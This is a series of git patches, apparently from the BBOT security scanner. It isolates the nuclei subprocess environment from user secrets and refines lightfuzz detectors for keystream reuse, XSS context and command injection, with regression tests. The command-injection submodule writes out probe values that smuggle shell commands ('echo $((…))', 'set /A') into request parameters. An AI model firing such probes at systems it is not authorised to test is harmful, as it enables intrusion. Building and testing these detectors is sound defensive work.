"/tmp/.bbot_test/tools/nuclei-state/templates/exposed-panels/spiderfoot.yaml", "interactsh_disable": True, } } From a3ba08c58d995513d3a4f13c1ce333eb65359efe Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 15 May 2026 20:43:09 -0400 Subject: [PATCH 656/912] nuclei: allowlist subprocess env to block user env leaks os.environ.copy() forwarded PDCP_API_KEY, GITHUB_TOKEN, AWS_*, AZURE_*, XDG_CONFIG_HOME etc. into the pinned binary, silently changing its behavior (cloud upload to PDCP under the user's account, alternate template sources, XDG_CONFIG_HOME defeating the HOME redirect). Switch to a fixed allowlist (PATH/locale/proxy) and pin the config dir explicitly via NUCLEI_CONFIG_DIR so XDG state in the host env can't relocate it. Test poisons env with the leakable vars and asserts they don't reach the subprocess. --- bbot/modules/nuclei.py | 33 ++++++++++----- .../module_tests/test_module_nuclei.py | 40 +++++++++++++++++++ 2 files changed, 64 insertions(+), 9 deletions(-) diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index 59eb8326c3..e33c564f0a 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -66,11 +66,9 @@ class nuclei(BaseModule): _batch_size = 200 async def setup(self): - # All nuclei runtime state lives under one bbot-owned dir so we can - # wipe it on corruption without touching the user's own ~/.config/nuclei. - # The subprocess gets HOME pointed here, so nuclei's Go stdlib resolves - # config / cache / pdcp dirs (and on macOS, Library/Application Support) - # all underneath it. See _nuclei_env(). + # All nuclei state lives under one bbot-owned dir so we can wipe it on + # corruption without touching the user's own ~/.config/nuclei. See + # _nuclei_env() for how the subprocess env pins config/cache here. self.nuclei_state_dir = self.helpers.tools_dir / "nuclei-state" self.nuclei_templates_dir = self.nuclei_state_dir / "templates" self.nuclei_home = self.nuclei_state_dir / "home" @@ -329,13 +327,30 @@ async def cleanup(self): resume_file.unlink(missing_ok=True) def _nuclei_env(self): - # Redirect nuclei's HOME / AppData lookups into our isolated state dir - # so config (.templates-config.json marker), cache, and pdcp dirs all - # land under bbot's tools tree instead of the user's real home. - env = os.environ.copy() + # Allowlist env vars: nuclei reads PDCP_API_KEY, GITHUB_TOKEN, AWS_*, + # AZURE_*, XDG_* etc. directly, so os.environ.copy() would silently + # change its behavior (e.g. upload findings to ProjectDiscovery Cloud + # under the user's account). NUCLEI_CONFIG_DIR pins the config dir even + # when XDG_CONFIG_HOME is set in the host env. + keep = { + "PATH", + "LD_LIBRARY_PATH", + "LANG", + "LC_ALL", + "TZ", + "HTTP_PROXY", + "HTTPS_PROXY", + "NO_PROXY", + "http_proxy", + "https_proxy", + "no_proxy", + } + env = {k: v for k, v in os.environ.items() if k in keep} env["HOME"] = str(self.nuclei_home) + env["USERPROFILE"] = str(self.nuclei_home) env["APPDATA"] = str(self.nuclei_home) env["LOCALAPPDATA"] = str(self.nuclei_home) + env["NUCLEI_CONFIG_DIR"] = str(self.nuclei_home / ".config" / "nuclei") return env async def _update_templates(self): diff --git a/bbot/test/test_step_2/module_tests/test_module_nuclei.py b/bbot/test/test_step_2/module_tests/test_module_nuclei.py index 20422c3e33..673a61780e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_nuclei.py +++ b/bbot/test/test_step_2/module_tests/test_module_nuclei.py @@ -156,6 +156,46 @@ def check(self, module_test, events): assert "-retries 1" in open(module_test.scan.home / "debug.log").read() +class TestNucleiEnvIsolation(TestNucleiManual): + """Set hostile env vars before the scan and verify _nuclei_env() filters them out. + + The base TestNucleiManual assertions double as a regression check: nuclei must + still find and run templates even when the user's env has DISABLE_*_DOWNLOAD, + XDG_CONFIG_HOME, etc. set. + """ + + leaky_env = { + "PDCP_API_KEY": "user-pdcp-key-must-not-leak", + "PDCP_TEAM_ID": "user-team", + "XDG_CONFIG_HOME": "/tmp/.bbot_test/xdg-leak-config", + "XDG_CACHE_HOME": "/tmp/.bbot_test/xdg-leak-cache", + "GITHUB_TOKEN": "ghp_usertoken", + "GITHUB_TEMPLATE_REPO": "attacker/private-templates", + "GITLAB_TOKEN": "glpat-usertoken", + "AWS_ACCESS_KEY": "AKIA-user", + "AWS_SECRET_KEY": "user-aws-secret", + "AZURE_CLIENT_SECRET": "azure-secret", + "NUCLEI_SIGNATURE_PUBLIC_KEY": "user-pubkey", + "DISABLE_NUCLEI_TEMPLATES_PUBLIC_DOWNLOAD": "true", + } + + async def setup_before_prep(self, module_test): + await super().setup_before_prep(module_test) + for k, v in self.leaky_env.items(): + module_test.monkeypatch.setenv(k, v) + + def check(self, module_test, events): + super().check(module_test, events) + nuclei = module_test.scan.modules["nuclei"] + env = nuclei._nuclei_env() + for k in self.leaky_env: + assert k not in env, f"{k} leaked into nuclei subprocess env" + nuclei_home = str(nuclei.nuclei_home) + for var in ("HOME", "USERPROFILE", "APPDATA", "LOCALAPPDATA"): + assert env[var] == nuclei_home, f"{var} not pinned to nuclei_home" + assert env["NUCLEI_CONFIG_DIR"].startswith(nuclei_home) + + class TestNucleiCustomHeaders(TestNucleiManual): custom_headers = {"testheader1": "test1", "testheader2": "test2"} config_overrides = TestNucleiManual.config_overrides From d56548d4c84123d3f4ea2df43ffb26b779b18aab Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 15 May 2026 21:07:37 -0400 Subject: [PATCH 657/912] mirror request() body-kwarg conflict check in mock_blasthttp --- bbot/test/mock_blasthttp.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/bbot/test/mock_blasthttp.py b/bbot/test/mock_blasthttp.py index d0357208d7..6f9fa8765c 100644 --- a/bbot/test/mock_blasthttp.py +++ b/bbot/test/mock_blasthttp.py @@ -88,6 +88,15 @@ async def handle_engine_request(self, web_helper_self, *args, **kwargs): data = kwargs.pop("data", None) files = kwargs.pop("files", None) json_body = kwargs.pop("json", None) + body_sources = [ + name + for name, val in (("body", body), ("data", data), ("json", json_body), ("files", files)) + if val is not None + ] + if len(body_sources) > 1: + raise ValueError( + f"request() got conflicting body kwargs {body_sources}; pass at most one of body, data, json, files" + ) cookies = kwargs.pop("cookies", None) auth = kwargs.pop("auth", None) # Drop kwargs that don't apply to mock dispatch but are valid on WebHelper. From 6ac5a5f74870286c9c70f23c43a603c4a3eb024b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 15 May 2026 21:34:07 -0400 Subject: [PATCH 658/912] nuclei: flatten state dir to XDG layout, match all install phrasings --- bbot/modules/nuclei.py | 54 ++++++++++++------- .../module_tests/test_module_nuclei.py | 37 +++++++++++-- 2 files changed, 69 insertions(+), 22 deletions(-) diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index e33c564f0a..85f8342e64 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -70,9 +70,11 @@ async def setup(self): # corruption without touching the user's own ~/.config/nuclei. See # _nuclei_env() for how the subprocess env pins config/cache here. self.nuclei_state_dir = self.helpers.tools_dir / "nuclei-state" + self.nuclei_config_dir = self.nuclei_state_dir / "config" + self.nuclei_cache_dir = self.nuclei_state_dir / "cache" self.nuclei_templates_dir = self.nuclei_state_dir / "templates" - self.nuclei_home = self.nuclei_state_dir / "home" - self.nuclei_home.mkdir(parents=True, exist_ok=True) + self.nuclei_config_dir.mkdir(parents=True, exist_ok=True) + self.nuclei_cache_dir.mkdir(parents=True, exist_ok=True) await self._update_templates() # nuclei writes its version marker before the tarball finishes extracting, # so a killed update can leave the marker pointing at an empty dir and @@ -80,7 +82,8 @@ async def setup(self): if not self._templates_installed(): self.warning("Nuclei templates appear incomplete; wiping isolated state and re-downloading") shutil.rmtree(self.nuclei_state_dir, ignore_errors=True) - self.nuclei_home.mkdir(parents=True, exist_ok=True) + self.nuclei_config_dir.mkdir(parents=True, exist_ok=True) + self.nuclei_cache_dir.mkdir(parents=True, exist_ok=True) await self._update_templates() if not self._templates_installed(): return False, "Failed to install nuclei templates after retry" @@ -328,10 +331,10 @@ async def cleanup(self): def _nuclei_env(self): # Allowlist env vars: nuclei reads PDCP_API_KEY, GITHUB_TOKEN, AWS_*, - # AZURE_*, XDG_* etc. directly, so os.environ.copy() would silently - # change its behavior (e.g. upload findings to ProjectDiscovery Cloud - # under the user's account). NUCLEI_CONFIG_DIR pins the config dir even - # when XDG_CONFIG_HOME is set in the host env. + # AZURE_*, etc. directly, so os.environ.copy() would silently change + # its behavior (e.g. upload findings to ProjectDiscovery Cloud under + # the user's account). XDG_{CONFIG,CACHE}_HOME pin nuclei's config and + # cache under nuclei-state/ without inheriting the user's HOME. keep = { "PATH", "LD_LIBRARY_PATH", @@ -346,11 +349,8 @@ def _nuclei_env(self): "no_proxy", } env = {k: v for k, v in os.environ.items() if k in keep} - env["HOME"] = str(self.nuclei_home) - env["USERPROFILE"] = str(self.nuclei_home) - env["APPDATA"] = str(self.nuclei_home) - env["LOCALAPPDATA"] = str(self.nuclei_home) - env["NUCLEI_CONFIG_DIR"] = str(self.nuclei_home / ".config" / "nuclei") + env["XDG_CONFIG_HOME"] = str(self.nuclei_config_dir) + env["XDG_CACHE_HOME"] = str(self.nuclei_cache_dir) return env async def _update_templates(self): @@ -363,15 +363,33 @@ async def _update_templates(self): env=self._nuclei_env(), ) ) - if not update_results.stderr: - self.warning("Error running nuclei template update command") - return - if "Successfully downloaded nuclei-templates" in update_results.stderr: + outcome = self._classify_update_stderr(update_results.stderr) + if outcome == "updated": self.success("Successfully updated nuclei templates") - elif "No new updates found for nuclei templates" in update_results.stderr: + elif outcome == "up-to-date": self.info("Nuclei templates already up-to-date") else: - self.warning(f"Failure while updating nuclei templates: {update_results.stderr}") + self.warning(f"Failure while updating nuclei templates: {update_results.stderr or ''}") + + # nuclei's success messaging has drifted across releases (installed / updated / + # downloaded). Match any of them so a future rename doesn't silently downgrade + # a clean install to a "Failure while updating" warning. + _UPDATE_SUCCESS_MARKERS = ( + "Successfully installed nuclei-templates", + "Successfully updated nuclei-templates", + "Successfully downloaded nuclei-templates", + ) + _UPDATE_NOOP_MARKER = "No new updates found for nuclei templates" + + @classmethod + def _classify_update_stderr(cls, stderr): + if not stderr: + return "failure" + if any(m in stderr for m in cls._UPDATE_SUCCESS_MARKERS): + return "updated" + if cls._UPDATE_NOOP_MARKER in stderr: + return "up-to-date" + return "failure" def _templates_installed(self): http_dir = self.nuclei_templates_dir / "http" diff --git a/bbot/test/test_step_2/module_tests/test_module_nuclei.py b/bbot/test/test_step_2/module_tests/test_module_nuclei.py index 673a61780e..1d6c5c40fa 100644 --- a/bbot/test/test_step_2/module_tests/test_module_nuclei.py +++ b/bbot/test/test_step_2/module_tests/test_module_nuclei.py @@ -190,10 +190,39 @@ def check(self, module_test, events): env = nuclei._nuclei_env() for k in self.leaky_env: assert k not in env, f"{k} leaked into nuclei subprocess env" - nuclei_home = str(nuclei.nuclei_home) - for var in ("HOME", "USERPROFILE", "APPDATA", "LOCALAPPDATA"): - assert env[var] == nuclei_home, f"{var} not pinned to nuclei_home" - assert env["NUCLEI_CONFIG_DIR"].startswith(nuclei_home) + assert env["XDG_CONFIG_HOME"] == str(nuclei.nuclei_config_dir) + assert env["XDG_CACHE_HOME"] == str(nuclei.nuclei_cache_dir) + # HOME is intentionally NOT forwarded — nuclei must rely on the XDG + # vars we set, not on the user's home dir. + assert "HOME" not in env + + +def test_nuclei_classify_update_stderr(): + """Regression: nuclei's success line has changed wording across releases + ("downloaded" → "installed" → "updated"). All three must classify as + success so a fresh install isn't mis-logged as a failure. + """ + from bbot.modules.nuclei import nuclei + + c = nuclei._classify_update_stderr + # First-time install (what nuclei v3.8 prints on a clean state dir). + assert ( + c( + "[INF] nuclei-templates are not installed, installing...\n[INF] Successfully installed nuclei-templates at /tmp/x" + ) + == "updated" + ) + # Version bump (newer phrasing). + assert c("[INF] Successfully updated nuclei-templates (v10.4.3) to /tmp/x. GoodLuck!") == "updated" + # Legacy phrasing — kept for older nuclei builds. + assert c("[INF] Successfully downloaded nuclei-templates") == "updated" + # Already up-to-date. + assert c("[INF] No new updates found for nuclei templates") == "up-to-date" + # Benign first-run noise must NOT trick us into reporting success. + assert c("[ERR] Could not copy nuclei ignore file ...: source file doesn't exist") == "failure" + # Empty / None stderr → failure (process produced nothing). + assert c("") == "failure" + assert c(None) == "failure" class TestNucleiCustomHeaders(TestNucleiManual): From e6c9b9dfaf595f983bd8a8ee9dcc6f4b6ed99f17 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 15 May 2026 23:54:52 -0400 Subject: [PATCH 659/912] fix env-isolation test: XDG_{CONFIG,CACHE}_HOME are set, not stripped --- .../test_step_2/module_tests/test_module_nuclei.py | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_nuclei.py b/bbot/test/test_step_2/module_tests/test_module_nuclei.py index 1d6c5c40fa..5cf59aabbd 100644 --- a/bbot/test/test_step_2/module_tests/test_module_nuclei.py +++ b/bbot/test/test_step_2/module_tests/test_module_nuclei.py @@ -184,12 +184,19 @@ async def setup_before_prep(self, module_test): for k, v in self.leaky_env.items(): module_test.monkeypatch.setenv(k, v) + # XDG_{CONFIG,CACHE}_HOME are set by _nuclei_env() itself to our paths, + # so they appear in env but must override (not echo back) the user's values. + _xdg_overridden = {"XDG_CONFIG_HOME", "XDG_CACHE_HOME"} + def check(self, module_test, events): super().check(module_test, events) nuclei = module_test.scan.modules["nuclei"] env = nuclei._nuclei_env() - for k in self.leaky_env: - assert k not in env, f"{k} leaked into nuclei subprocess env" + for k, v in self.leaky_env.items(): + if k in self._xdg_overridden: + assert env.get(k) != v, f"{k} leaked user value into nuclei env" + else: + assert k not in env, f"{k} leaked into nuclei subprocess env" assert env["XDG_CONFIG_HOME"] == str(nuclei.nuclei_config_dir) assert env["XDG_CACHE_HOME"] == str(nuclei.nuclei_cache_dir) # HOME is intentionally NOT forwarded — nuclei must rely on the XDG From d8bf48957f24d4d0944c04f99771f378f6b1a25c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 16 May 2026 00:27:35 -0400 Subject: [PATCH 660/912] lightfuzz/crypto: restrict keystream-reuse to hex inputs --- bbot/modules/lightfuzz/submodules/crypto.py | 9 ++++-- .../module_tests/test_module_lightfuzz.py | 29 +++++++++++++++++++ 2 files changed, 36 insertions(+), 2 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index ea183b177e..56f8a6aea1 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -250,7 +250,7 @@ def possible_block_sizes(ciphertext_length): return possible_sizes def _collect_keystream_candidates(self, probe_value): - """Return [(label, raw, bytes)] for every hex/base64-shaped candidate worth pairwise-XORing. + """Return [(label, raw, bytes)] for every hex-shaped candidate worth pairwise-XORing. Sources, in order: 1. The current parameter's value (probe_value). @@ -273,7 +273,12 @@ def _collect_keystream_candidates(self, probe_value): if not value or not isinstance(value, str): continue decoded, encoding = self.format_agnostic_decode(value) - if encoding == "unknown": + # Hex only: base64's alphabet overlaps heavily with URL-path / identifier + # characters, so plaintext URL paths sharing a prefix round-trip as base64 + # and XOR to a leading-zero run, producing a false-positive keystream-reuse + # finding. Hex's [0-9a-f] alphabet has no such overlap with structured + # plaintext, so restricting to hex eliminates that class of FP. + if encoding != "hex": continue if len(decoded) < 3: continue diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 4319d6dd0d..23f1f14d1f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -4244,6 +4244,35 @@ def check(self, module_test, events): assert same_param_values, "Expected same_param_values to carry the second ciphertext, got empty/None" +# Regression: two URL-path-shaped values that share a long plaintext prefix +# round-trip as valid base64 (every char is in the b64 alphabet, length +# divisible by 4) and XOR to a long leading-zero run because the plaintexts +# overlap. The earlier crypto gate only rejected narrow-range encodings, so +# such pairs produced a HIGH/CONFIRMED Stream Cipher Keystream Reuse finding +# despite obviously being plaintext URL paths, not ciphertext. +class Test_Lightfuzz_keystream_reuse_url_path_fp(Test_Lightfuzz_keystream_reuse): + # Both values are 24 chars (valid base64 length), share a 13-char plaintext + # prefix, and use only base64-alphabet chars — so they round-trip and the + # XOR exposes a long leading-zero run unless the crypto gate rejects them. + landing_page = """ + + 2003 + 2002 + + """ + + def check(self, module_test, events): + keystream_findings = [ + e + for e in events + if e.type == "FINDING" and "Stream Cipher Keystream Reuse" in e.data.get("description", "") + ] + assert not keystream_findings, ( + f"URL-path values were misclassified as keystream-reuse ciphertexts: " + f"{[f.data.get('description') for f in keystream_findings]}" + ) + + # End-to-end test for assigned_cookies refresh. # # The cookies excavate originally captured on the spider's GET are often stale From e97980ce10d7fc352a74eb0a3b98548c9651d9f0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 16 May 2026 22:11:13 -0400 Subject: [PATCH 661/912] lightfuzz/crypto: guard None probe responses and fix invalid confidence value --- bbot/modules/lightfuzz/submodules/crypto.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 56f8a6aea1..d2a13e87c0 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -331,9 +331,9 @@ def detect_keystream_reuse(self, probe_value): if zero_run >= 5: severity, confidence = "HIGH", "CONFIRMED" elif zero_run >= 3 or ascii_score >= 0.95: - severity, confidence = "HIGH", "PROBABLE" + severity, confidence = "HIGH", "HIGH" else: - severity, confidence = "MEDIUM", "PROBABLE" + severity, confidence = "MEDIUM", "MEDIUM" description = ( "Stream Cipher Keystream Reuse (Many-Time-Pad). " @@ -703,6 +703,11 @@ async def fuzz(self): self.verbose(f"Encountered HttpCompareError Sending Compare Probe: {e}") return + # If any probe got no response (e.g. WAF-blocked), we can't reason about diffs; abort. + if arbitrary_probe[3] is None or truncate_probe[3] is None or mutate_probe[3] is None: + self.verbose(f"One or more compare probes returned no response for url {self.event.url}, aborting") + return + confirmed_techniques = [] # mutate_probe[0] will be false if the response is different - mutate_probe[1] stores what aspect of the response is different (headers, body, code) # ensure the difference is in the body and not the headers or code From 9d5c5d5d50612228c40bf77a7e7765a48408ad16 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 17 May 2026 00:16:50 -0400 Subject: [PATCH 662/912] lightfuzz audit fixes: cache bound, cmdi guard, xss verify, defaults dedupe --- bbot/defaults.yml | 6 +- bbot/modules/lightfuzz/lightfuzz.py | 11 ++- bbot/modules/lightfuzz/submodules/cmdi.py | 23 +++-- bbot/modules/lightfuzz/submodules/xss.py | 28 ++++++ .../module_tests/test_module_lightfuzz.py | 96 +++++++++++++++++++ 5 files changed, 147 insertions(+), 17 deletions(-) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index d4457fb40f..e0208a61d2 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -270,6 +270,7 @@ parameter_blacklist: - cf_clearance - _abck - bm_sz + - bm_sv - ak_bmsc - f5_cspm # CSRF / Anti-Forgery tokens @@ -285,11 +286,6 @@ parameter_blacklist: # PKCE (Proof Key for Code Exchange) - code_verifier - code_challenge - # Akamai Bot Manager - - _abck - - bm_sz - - bm_sv - - ak_bmsc # Analytics - _ga - _gid diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 325b652ddc..d3239088a5 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -7,6 +7,8 @@ from bbot.errors import InteractshError from bbot.core.helpers.misc import get_waf_strings from bbot.core.helpers.web.response_event import response_to_event_dict +from bbot.modules.lightfuzz.submodules.base import BaseLightfuzz +from bbot.modules.lightfuzz.submodules.serial import serial as _serial_submodule class lightfuzz(BaseModule): @@ -66,6 +68,7 @@ async def setup(self): # Per-URL lock + cache so concurrent WEB_PARAMETERs for the same page share one connectivity GET # (servers that cycle session/CSRF tokens hand each racer a different token otherwise). self._connectivity_test_cache = {} + self._connectivity_test_cache_max = 300 self._connectivity_test_locks = NamedLock(max_size=200) if not self.enabled_submodules: @@ -82,10 +85,8 @@ async def setup(self): waf_strings = get_waf_strings() self.waf_yara_rules = self.helpers.yara.compile_strings(waf_strings, nocase=True) # Serial submodule needs WAF + general error strings in one rule - from bbot.modules.lightfuzz.submodules.serial import serial - self.serial_general_error_yara_rules = self.helpers.yara.compile_strings( - serial.GENERAL_ERROR_STRINGS + waf_strings, nocase=True + _serial_submodule.GENERAL_ERROR_STRINGS + waf_strings, nocase=True ) interactsh_needed = any(submodule.uses_interactsh for submodule in self.submodules.values()) @@ -143,6 +144,8 @@ async def _connectivity_test(self, prime_url): if prime_url in cache: return cache[prime_url] response = await self.helpers.request(prime_url, timeout=10) + if len(cache) >= self._connectivity_test_cache_max: + cache.pop(next(iter(cache))) cache[prime_url] = response return response @@ -291,8 +294,6 @@ async def handle_event(self, event): # Fire the canonical baseline once per WEB_PARAMETER so excavate can mine the # post-submit page; later submodule baseline_probes hit the response cache. if self.emit_baseline_responses: - from bbot.modules.lightfuzz.submodules.base import BaseLightfuzz - prober = BaseLightfuzz(self, event) try: await prober.baseline_probe(cookies=event.data.get("assigned_cookies", {}) or {}) diff --git a/bbot/modules/lightfuzz/submodules/cmdi.py b/bbot/modules/lightfuzz/submodules/cmdi.py index 7479c8734b..d35db529e3 100644 --- a/bbot/modules/lightfuzz/submodules/cmdi.py +++ b/bbot/modules/lightfuzz/submodules/cmdi.py @@ -48,9 +48,14 @@ async def fuzz(self): canary = self.lightfuzz.helpers.rand_string(10, numeric_only=True) # Arithmetic canary: the multiplicands are in the probe, but their # product is NOT — so a response containing the product is evidence - # of arithmetic expansion performed by a real shell. - arith_a = self.lightfuzz.helpers.rand_string(5, numeric_only=True) - arith_b = self.lightfuzz.helpers.rand_string(5, numeric_only=True) + # of arithmetic expansion performed by a real shell. Reject factors + # that evaluate to 0; otherwise the canary degenerates to "0" and + # matches virtually every HTML response (critical-severity FP). + while True: + arith_a = self.lightfuzz.helpers.rand_string(5, numeric_only=True) + arith_b = self.lightfuzz.helpers.rand_string(5, numeric_only=True) + if int(arith_a) and int(arith_b): + break arith_canary = str(int(arith_a) * int(arith_b)) http_compare = self.compare_baseline( self.event.data["type"], probe_value, cookies @@ -95,11 +100,13 @@ async def fuzz(self): # arithmetic. The product value is never in either probe # literal, so only real shell execution can place it in the # response. Either confirmation upgrades to HIGH. + raw_marker = f"{arith_a}*{arith_b}" linux_match = await self._arith_confirm( http_compare, cookies, f"{probe_value}{p} echo $(({arith_a}*{arith_b})) {p}", arith_canary, + raw_marker, p, "linux", ) @@ -111,6 +118,7 @@ async def fuzz(self): cookies, f"{probe_value}{p} set /A {arith_a}*{arith_b} {p}", arith_canary, + raw_marker, p, "windows", ) @@ -177,10 +185,11 @@ async def fuzz(self): skip_urlencoding=True, ) - async def _arith_confirm(self, http_compare, cookies, probe_str, expected, delim, shell_label): + async def _arith_confirm(self, http_compare, cookies, probe_str, expected, raw_marker, delim, shell_label): """Send a shell-arithmetic confirmation probe and return True iff the - expected product value appears in the response (and the word `echo` - does not, ruling out bulk reflection).""" + expected product value appears in the response and the literal + multiplicand expression (``{a}*{b}``) does not — the latter rules out + bulk reflection in a shell-agnostic way.""" if self.event.data["type"] == "GETPARAM": probe_str = urllib.parse.quote(probe_str.encode(), safe="") try: @@ -194,7 +203,7 @@ async def _arith_confirm(self, http_compare, cookies, probe_str, expected, delim except HttpCompareError as e: self.debug(f"arithmetic probe [{shell_label}] error for [{delim}]: {e}") return False - matched = probe[3] is not None and expected in probe[3].text and "echo" not in probe[3].text + matched = probe[3] is not None and expected in probe[3].text and raw_marker not in probe[3].text if matched: self.debug(f"{shell_label} arithmetic canary [{expected}] matched for delimiter [{delim}]") return matched diff --git a/bbot/modules/lightfuzz/submodules/xss.py b/bbot/modules/lightfuzz/submodules/xss.py index da5aeaaeb4..0242e96f39 100644 --- a/bbot/modules/lightfuzz/submodules/xss.py +++ b/bbot/modules/lightfuzz/submodules/xss.py @@ -182,6 +182,34 @@ def _verify_match_context(self, html, match, context): return True pos = html.find(match, pos + 1) return False + elif "HTML Comment" in context: + # Match begins inside an unclosed `` that closes + # the comment is INSIDE the match itself — that's the breakout). + # Rules out a reflection of the same bytes elsewhere on the page + # that didn't actually break out of any comment. + pos = html.find(match) + while pos != -1: + preceding = html[:pos] + if preceding.rfind(""): + return True + pos = html.find(match, pos + 1) + return False + elif "JS Template Literal" in context: + # Match must land inside a `") + if last_script_open > last_script_close: + script_prefix = preceding[last_script_open:] + if script_prefix.count("`") % 2 == 1 and "`" in html[pos + len(match) :]: + return True + pos = html.find(match, pos + 1) + return False return True async def check_probe(self, cookies, probe, match, context): diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 23f1f14d1f..04cecc7e37 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -579,6 +579,102 @@ def check(self, module_test, events): assert backtick_finding, "JS Template Literal XSS FINDING not emitted" +# Negative test: param echoed in BOTH an HTML comment (with `-->` HTML-encoded, +# so no breakout there) AND in plain body text (verbatim). determine_context +# fires on the comment reflection, but the breakout match lands only in the +# body — outside any comment. _verify_match_context must reject this so no +# HTML Comment finding fires. +class Test_Lightfuzz_xss_html_comment_fp(Test_Lightfuzz_xss): + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = """ + + Link + + """ + if "foo=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + # Comment: HTML-encode `-->` so the breakout is defanged. + comment_safe = decoded.replace("-->", "-->") + # Body: reflect verbatim (the differential-escaping FP case). + return Response( + f"

    You searched for {decoded}

    ", + status=200, + ) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + expect_args = re.compile("/otherpage.php") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + html_comment_findings = [ + e for e in events if e.type == "FINDING" and "Context: [HTML Comment]" in e.data.get("description", "") + ] + assert not html_comment_findings, ( + f"HTML Comment XSS FINDING falsely emitted despite match landing outside comment context: " + f"{[f.data.get('description') for f in html_comment_findings]}" + ) + + +# Negative test: param echoed in BOTH a backtick string inside " + f"

    You searched for {decoded}

    ", + status=200, + ) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( + "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + expect_args = re.compile("/otherpage.php") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + backtick_findings = [ + e + for e in events + if e.type == "FINDING" and "Context: [JS Template Literal]" in e.data.get("description", "") + ] + assert not backtick_findings, ( + f"JS Template Literal XSS FINDING falsely emitted despite match landing outside backtick context: " + f"{[f.data.get('description') for f in backtick_findings]}" + ) + + # Form Action Injection Detection class Test_Lightfuzz_xss_formaction(Test_Lightfuzz_xss): def request_handler(self, request): From c4d3384d9965f36bc825a04767d64f9bda41b62d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 17 May 2026 04:42:34 +0000 Subject: [PATCH 663/912] Update uvicorn requirement from <0.47,>=0.32 to >=0.32,<0.48 Updates the requirements on [uvicorn](https://github.com/Kludex/uvicorn) to permit the latest version. - [Release notes](https://github.com/Kludex/uvicorn/releases) - [Changelog](https://github.com/Kludex/uvicorn/blob/main/docs/release-notes.md) - [Commits](https://github.com/Kludex/uvicorn/compare/0.32.0...0.47.0) --- updated-dependencies: - dependency-name: uvicorn dependency-version: 0.47.0 dependency-type: direct:development ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 5658d9c385..8acd7186a1 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -74,7 +74,7 @@ dev = [ "pytest-httpserver>=1.0.11,<2", "pytest>=8.3.1,<10", "pytest-asyncio==1.3.0", - "uvicorn>=0.32,<0.47", + "uvicorn>=0.32,<0.48", "fastapi>=0.115.5,<0.137.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", From 461e289c8bdd8b614c190247064839a9e5129e93 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 17 May 2026 04:42:59 +0000 Subject: [PATCH 664/912] Bump ruff from 0.15.12 to 0.15.13 Bumps [ruff](https://github.com/astral-sh/ruff) from 0.15.12 to 0.15.13. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.15.12...0.15.13) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.15.13 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- pyproject.toml 